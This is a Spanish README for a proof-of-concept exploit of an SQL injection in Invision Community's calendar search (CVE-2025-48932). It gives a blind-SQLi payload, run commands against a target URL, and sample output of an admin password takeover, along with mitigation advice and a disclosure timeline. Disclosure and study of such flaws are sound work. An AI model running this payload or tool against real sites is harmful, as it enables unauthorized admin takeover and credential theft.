Explotación de inyección SQL en Invision Community (CVE-2025-48932)

Un exploit de prueba de concepto que demuestra una vulnerabilidad de inyección SQL en Invision Community versiones <= 4.7.20.

⚠️ Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

• El acceso no autorizado a sistemas informáticos es ILEGAL
• Utilice esta herramienta únicamente en sistemas que le pertenezcan o para los que tenga permiso explícito por escrito para realizar pruebas
• El autor NO ES RESPONSABLE de ningún mal uso o daño causado por esta herramienta
• Está destinada únicamente a investigadores de seguridad, pentesters y fines educativos

📋 Tabla de contenidos

• Vulnerability Description
• Requirements
• Installation
• Usage
• How It Works
• Mitigation
• Credits
• References

🔍 Descripción de la vulnerabilidad

CVE ID: CVE-2025-48932
Gravedad: Alta
Puntuación CVSS: Por determinar
Versiones afectadas: Invision Community 4.x anteriores a 4.7.21

La vulnerabilidad existe en el script /applications/calendar/modules/front/calendar/view.php. La entrada del usuario transmitida a través del parámetro de solicitud location en el método IPS\calendar\modules\front\calendar\view::search() no se sanea adecuadamente antes de utilizarse en consultas SQL.

Esto permite a atacantes remotos no autenticados:

• Extraer datos sensibles de la base de datos
• Leer credenciales de administrador
• Potencialmente lograr la toma de control de la cuenta de administrador

Requisitos previos para la explotación:

• La aplicación Calendar debe estar instalada
• La función GeoLocation (como Google Maps) debe estar configurada

Nota: Mientras que las vulnerabilidades de inyección SQL en Invision Community 4.x versiones < 4.7.18 podían conducir a la toma de control de la cuenta de administrador y a la ejecución remota de código (RCE) mediante el restablecimiento de la contraseña de administrador, la versión 4.7.18 introdujo una nueva clave de cifrado de seguridad en el mecanismo de restablecimiento de contraseña, lo que dificulta este vector de ataque.

📦 Requisitos

• Python 3.7 o superior
• pip (gestor de paquetes de Python)
• Conexión a Internet
• Sistema objetivo que ejecute Invision Community <= 4.7.20 con:
  • Aplicación Calendar instalada
  • Función GeoLocation configurada

🚀 Instalación

1. Clonar el repositorio:

   git clone https://github.com/yourusername/invision-sqli-exploit.git
   cd invision-sqli-exploit
   

2. Instalar las dependencias:

   pip install -r requirements.txt
   

💻 Uso

Uso básico

python invision-sqli-exploit.py -u http://target.com/forum/

Modo verboso (para depuración)

python invision-sqli-exploit.py -u https://example.com/community/ -v

Argumentos de línea de comandos

Argumento	Descripción	Requerido
-u, --url	URL base de Invision Community objetivo	Sí
-v, --verbose	Habilita la salida verbosa para depuración	No
-h, --help	Muestra el mensaje de ayuda y sale	No

Ejemplo de salida

==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================

[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]

[!] Step 2: Manual action required!

Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...

[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...

==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================

Admin credentials:
  Email:    [email protected]
  Password: Pwned1721234567

You can now login at: http://example.com/forum/index.php?/login/

🔬 Cómo funciona

El exploit funciona en cuatro pasos principales:

1. Extracción del token CSRF

El script primero obtiene un token CSRF del sitio web objetivo, que es necesario para las solicitudes posteriores.

2. Inyección SQL ciega basada en booleano

Mediante un algoritmo de búsqueda binaria, el exploit extrae datos de la base de datos carácter por carácter:

• Prueba cada carácter usando consultas SQL condicionales
• Usa la función RLIKE con patrones de expresiones regulares para detectar condiciones verdaderas/falsas
• Los mensajes de error indican condiciones exitosas

3. Extracción del correo electrónico del administrador

Consulta la tabla core_members para extraer la dirección de correo electrónico del administrador.

4. Explotación del restablecimiento de contraseña

• El atacante inicia manualmente un restablecimiento de contraseña para la cuenta de administrador
• El exploit extrae la clave de validación del restablecimiento de contraseña de la base de datos
• Usa la clave de validación para restablecer la contraseña de administrador sin acceso al correo electrónico

Detalles técnicos

Punto de inyección:

location parameter → calendar/view.php → search() method

Ejemplo de payload:

'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#

Técnica de explotación: Inyección SQL ciega basada en booleano mediante búsqueda binaria para una extracción de datos eficiente.

🛡️ Mitigación

Para usuarios

Acciones inmediatas:

1. Actualice a la versión 4.7.21 o posterior - Esta versión corrige la vulnerabilidad
2. Desactive la aplicación Calendar si no está en uso
3. Supervise los registros de acceso para detectar actividad sospechosa
4. Revise las cuentas de administrador para detectar accesos no autorizados

Para desarrolladores

Prácticas de codificación segura:

1. Use consultas parametrizadas / sentencias preparadas - Nunca concatene la entrada del usuario en consultas SQL
2. Validación de entradas - Valide y sanea todas las entradas del usuario
3. Principio de mínimo privilegio - Los usuarios de la base de datos deben tener los permisos mínimos necesarios
4. Firewall de aplicaciones web (WAF) - Implemente reglas WAF para detectar intentos de inyección SQL
5. Auditorías de seguridad periódicas - Realice revisiones de código y pruebas de penetración de forma regular

Ejemplo de código seguro:

// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";

// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);

📅 Cronología de divulgación

Fecha	Evento
16 de mayo de 2025	Proveedor notificado
27 de mayo de 2025	Versión 4.7.21 publicada
28 de mayo de 2025	Identificador CVE solicitado
28 de mayo de 2025	CVE-2025-48932 asignado
23 de julio de 2025	Divulgación pública

👏 Créditos

Desarrollador:

• nanda